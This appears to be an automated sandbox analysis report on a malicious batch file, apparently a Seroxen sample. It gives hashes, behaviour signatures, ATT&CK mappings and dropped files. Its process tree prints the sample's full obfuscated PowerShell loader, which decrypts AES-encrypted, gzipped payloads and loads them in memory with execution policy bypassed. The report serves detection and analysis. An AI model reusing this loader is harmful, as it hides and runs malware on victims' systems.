e8fcddca33d734dc65ce4737193e9f2e9598d7d4d42b85dea91b21435d165860

General

Target

aaaccc_JC.bat
Size

16.0MB
MD5

cf6b0959b49f88a949a9ff983ac8aba1
SHA1

c86de7221cf3733dec8906718b9f986fadc0c546
SHA256

e8fcddca33d734dc65ce4737193e9f2e9598d7d4d42b85dea91b21435d165860
SHA512

e7a092304c264a5400171b66d91f9aa0b24d01f7555d6a5c92f537222937883bbe01fb4438792249c4bc3a70d9cba2b4ca2176884528b707d9d08747085418d1
SSDEEP

49152:JwEOTlzglY3SQejz3XIi3i1v7IhK/AFx1q9KPN81boBfuGznNXyFXGWSUxxyy8pp:1

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2760	aaaccc_JC.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1600	cmd.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2760	aaaccc_JC.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	aaaccc_JC.bat.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1600 wrote to memory of 2684	1600	cmd.exe	29
PID 1600 wrote to memory of 2684	1600	cmd.exe	29
PID 1600 wrote to memory of 2684	1600	cmd.exe	29
PID 2684 wrote to memory of 1372	2684	net.exe	30
PID 2684 wrote to memory of 1372	2684	net.exe	30
PID 2684 wrote to memory of 1372	2684	net.exe	30
PID 1600 wrote to memory of 2760	1600	cmd.exe	31
PID 1600 wrote to memory of 2760	1600	cmd.exe	31
PID 1600 wrote to memory of 2760	1600	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\aaaccc_JC.bat"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1600
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1372
- C:\Users\Admin\AppData\Local\Temp\aaaccc_JC.bat.exe
  "aaaccc_JC.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function fvLmJ($KVhEh){ $oWPLc=[System.Security.Cryptography.Aes]::Create(); $oWPLc.Mode=[System.Security.Cryptography.CipherMode]::CBC; $oWPLc.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $oWPLc.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('06baVgQzMgIGNmQWU2ZweJCNfS4C1UnwZz1DO6Fw1eI='); $oWPLc.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('H28mbMv+b6JmoxyAra5Pvg=='); $jfPUj=$oWPLc.CreateDecryptor(); $return_var=$jfPUj.TransformFinalBlock($KVhEh, 0, $KVhEh.Length); $jfPUj.Dispose(); $oWPLc.Dispose(); $return_var;}function kvnss($KVhEh){ $nhogW=New-Object System.IO.MemoryStream(,$KVhEh); $MVRgS=New-Object System.IO.MemoryStream; $jeACs=New-Object System.IO.Compression.GZipStream($nhogW, [IO.Compression.CompressionMode]::Decompress); $jeACs.CopyTo($MVRgS); $jeACs.Dispose(); $nhogW.Dispose(); $MVRgS.Dispose(); $MVRgS.ToArray();}function RvXud($KVhEh,$JNlRT){ $JrKRA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$KVhEh); $gzCqG=$JrKRA.EntryPoint; $gzCqG.Invoke($null, $JNlRT);}$GLTGr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\aaaccc_JC.bat').Split([Environment]::NewLine);foreach ($rTaqs in $GLTGr) { if ($rTaqs.StartsWith('SEROXEN')) { $PDfah=$rTaqs.Substring(7); break; }}$NEYzm=[string[]]$PDfah.Split('\');$QOnYj=kvnss (fvLmJ ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($NEYzm[0])));$wTJIi=kvnss (fvLmJ ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($NEYzm[1])));RvXud $wTJIi (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));RvXud $QOnYj (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\aaaccc_JC.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\aaaccc_JC.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2760-7-0x000000001B040000-0x000000001B322000-memory.dmp

Filesize
2.9MB

Download
memory/2760-8-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2760-9-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-10-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/2760-11-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/2760-12-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/2760-13-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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